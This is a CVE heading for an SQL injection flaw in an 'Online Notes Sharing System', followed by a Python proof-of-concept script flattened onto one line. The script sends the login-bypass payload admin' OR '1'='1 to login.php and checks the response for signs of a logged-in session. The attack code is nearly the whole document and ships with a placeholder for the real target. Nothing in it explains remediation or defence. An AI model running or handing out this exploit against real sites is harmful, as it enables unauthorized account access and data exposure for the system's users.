CVE-2026-4540: Online Notes Sharing System SQL注入漏洞

import requests def check_sqli_vulnerability(target_url): """ PoC for CVE-2026-4540 SQL Injection in login.php """ login_url = f"{target_url}/login.php" # Payload to test for SQL Injection (Time-based or Boolean-based) payload = { "User": "admin' OR '1'='1", # Injection payload "Password": "password" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (PoC-Scanner)" } try: response = requests.post(login_url, data=payload, headers=headers, timeout=10) if response.status_code == 200 and ("Welcome" in response.text or "dashboard" in response.text.lower()): print("[+] Vulnerability confirmed: SQL Injection successful.") return True else: print("[-] Vulnerability not detected or target not responsive.") return False except Exception as e: print(f"[!] Error during PoC execution: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli_vulnerability(target)